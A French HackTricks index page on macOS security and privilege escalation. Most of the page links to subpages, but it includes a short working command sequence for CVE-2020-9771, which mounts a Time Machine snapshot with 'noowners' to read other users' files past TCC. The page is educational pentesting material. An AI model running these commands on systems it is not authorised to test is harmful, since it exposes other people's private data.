10 KiB
Sécurité et élévation de privilèges sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lisez les tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
Base de MacOS
Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre les bases de macOS :
- Fichiers et autorisations spéciaux de macOS :
{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}
- Utilisateurs courants de macOS
{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}
- AppleFS
{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}
- L'architecture du noyau
{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}
- Services et protocoles réseau courants de macOS
{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}
MacOS MDM
Dans les entreprises, les systèmes macOS sont très probablement gérés avec un MDM. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir comment cela fonctionne :
{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}
MacOS - Inspection, débogage et fuzzing
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}
Protections de sécurité de MacOS
{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}
Surface d'attaque
Autorisations de fichier
Si un processus s'exécutant en tant que root écrit un fichier qui peut être contrôlé par un utilisateur, l'utilisateur pourrait l'utiliser pour escalader les privilèges.
Cela pourrait se produire dans les situations suivantes :
- Le fichier utilisé a été créé par un utilisateur (appartenant à l'utilisateur)
- Le fichier utilisé est accessible en écriture par l'utilisateur en raison d'un groupe
- Le fichier utilisé est à l'intérieur d'un répertoire appartenant à l'utilisateur (l'utilisateur pourrait créer le fichier)
- Le fichier utilisé est à l'intérieur d'un répertoire appartenant à root mais l'utilisateur a un accès en écriture dessus en raison d'un groupe (l'utilisateur pourrait créer le fichier)
Être capable de créer un fichier qui va être utilisé par root, permet à un utilisateur de tirer parti de son contenu ou même de créer des liens symboliques/hardlinks pour le pointer vers un autre endroit.
Pour ce type de vulnérabilités, n'oubliez pas de vérifier les installateurs .pkg
vulnérables :
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}
Abus de privilèges et d'attributions via l'abus de processus
Si un processus peut injecter du code dans un autre processus avec des privilèges ou des attributions supérieurs ou le contacter pour effectuer des actions de privilèges, il peut escalader les privilèges et contourner les mesures de défense telles que Sandbox ou TCC.
{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
Extensions de fichier et gestionnaires d'applications de schéma d'URL
Des applications étranges enregistrées par des extensions de fichier peuvent être abusées et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques.
{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}
Élévation de privilèges sur MacOS
CVE-2020-9771 - Contournement de TCC et élévation de privilèges de mount_apfs
N'importe quel utilisateur (même non privilégié) peut créer et monter une capture d'écran de Time Machine et accéder à TOUS les fichiers de cette capture d'écran.
Le seul privilège nécessaire est que l'application utilisée (comme Terminal
) ait un accès Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles
) qui doit être accordé par un administrateur.
{% code overflow="wrap" %}
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
{% endcode %}
Une explication plus détaillée peut être trouvée dans le rapport original.
Informations sensibles
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}
Linux Privesc
Tout d'abord, veuillez noter que la plupart des astuces sur l'élévation de privilèges affectant Linux/Unix affecteront également les machines MacOS. Voir donc :
{% content-ref url="../../linux-hardening/privilege-escalation/" %} élévation de privilèges {% endcontent-ref %}
Applications de défense MacOS
Références
- OS X Incident Response: Scripting and Analysis
- https://taomm.org/vol1/analysis.html
- https://github.com/NicolasGrimonpont/Cheatsheet
- https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ
- https://www.youtube.com/watch?v=vMGiplQtjTY
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lire les tutoriels de bugs web3
🔔 Recevoir des notifications sur les nouveaux programmes de primes pour bugs
💬 Participer aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.